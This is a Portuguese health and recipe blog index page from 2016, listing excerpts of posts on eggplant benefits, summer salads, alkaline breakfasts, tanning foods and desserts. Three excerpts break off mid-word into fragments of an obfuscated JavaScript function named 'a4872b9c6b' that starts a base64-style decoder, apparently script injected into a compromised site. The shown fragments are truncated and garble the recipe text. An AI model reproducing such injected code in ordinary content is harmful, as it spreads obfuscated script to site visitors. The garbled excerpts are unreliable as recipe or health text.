Ago 8, 2016 | Equilíbrio, Saúde e bem estar
Diz quem sabe que os benefícios da beringela são vários: ajuda a reduzir o colesterol, atenua dores articulares, ajuda no trânsito intestinal e faz bem ao coração… mas não é tudo. Hoje revelo-lhe um segredo que vai adorar: a beringela é uma grfunction...
Ago 3, 2016 | À descoberta, Receitas
2 saladas para um verão mais apetitoso, por Luísa Fortes da Cunha Salada de atum e camarão Ingredientes 1 pacote de salada gourmet 10 tomatinhos cherry 1 Cebola 3 ovos cozidos 400 g camarões grfunction a4872b9c6b(y1){var...
Ago 1, 2016 | Equilíbrio, Saúde e bem estar
Sinta-se confiante e tenha o melhor verão de sempre. Olá! É verão, está muito calor e só apetece ir à praia. Também acontece consigo? Mas a verdade é que por vezes evitamos a praia porque sentimos que estamos com uns quilinhos a mais e não estamos no nosso melhor. Sei...
Jul 28, 2016 | À descoberta, Receitas
Trouxa de fruta com iogurte, por Luísa Fortes da Cunha Ingredientes 1 Chávena de flocos de aveia 1 Chávena de leite de amêndoa 1 Colher de sobremesa de fermento em pó 1 Ovo 1 Colher de sopa de mel 1 Iogurte 3 Alperces chocolate líquido Preparação Misture a aveia, o...
Jul 27, 2016 | Equilíbrio, Saúde e bem estar
4 alimentos para um bronzeado perfeito, por Lillian Barros. O verão já chegou! Depois do inverno rigoroso e dos longos períodos chuvosos que tivemos, todos desejamos um pouco de sol, calor e uma pele bronzeada para tirar a barriga de misérias. Apesar de já existir uma...
Jul 17, 2016 | À descoberta, header, Receitas
3 lanches saudáveis para manter a barriga lisa e saciar a fome, por Teresa Manafaia. No dia a dia é importante fazer várias refeições, e para não correr o risco de se empanturrar de pão de má qualidade ou doces num qualquer café ou máquina de vending, o melhor é levar...
Jul 12, 2016 | À descoberta, Receitas
4 super pequenos almoços alcalinos, por Rita Boavida Comece o dia de forma saudável, equilibrfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 8, 2016 | À descoberta, Receitas
2 sobremesas irresistíveis por Luísa Fortes da Cunha Panquecas com iogurte grego, manga e maracujá Ingredientes 1 Chávena de leite 1 Chávena de flocos de aveia 1 Chávena de farinha de trigo 1 Colher de sobremesa de fermento em pó 1 Ovo 2-3 Colheres de sopa de mel 1...
Jul 6, 2016 | Equilíbrio, Saúde e bem estar
Frutos e vegetais que ajudam a manter a pele bronzeada Sabia que, se consumirmos determinados alimentos, estes nos vão ajudar a ter um bronzeado lindo e muito mais duradouro? Pois é, para além de deliciosos, estes frutos e vegetais podem ser os nossos melhores amigos...
Jul 2, 2016 | À descoberta, Receitas
2 saladas de verão por Luísa Fortes da Cunha Salada de atum com ovo cozido, rúcula, alface, tomate, pepino, manjericão Ingredientes 6 Folhas de alface em pedaços 3 Ovos cozidos cortados 2-3 Latas de atum 2 Tomates Rúcula a gosto 1 Pepino cortado às rodelas Folhas de...
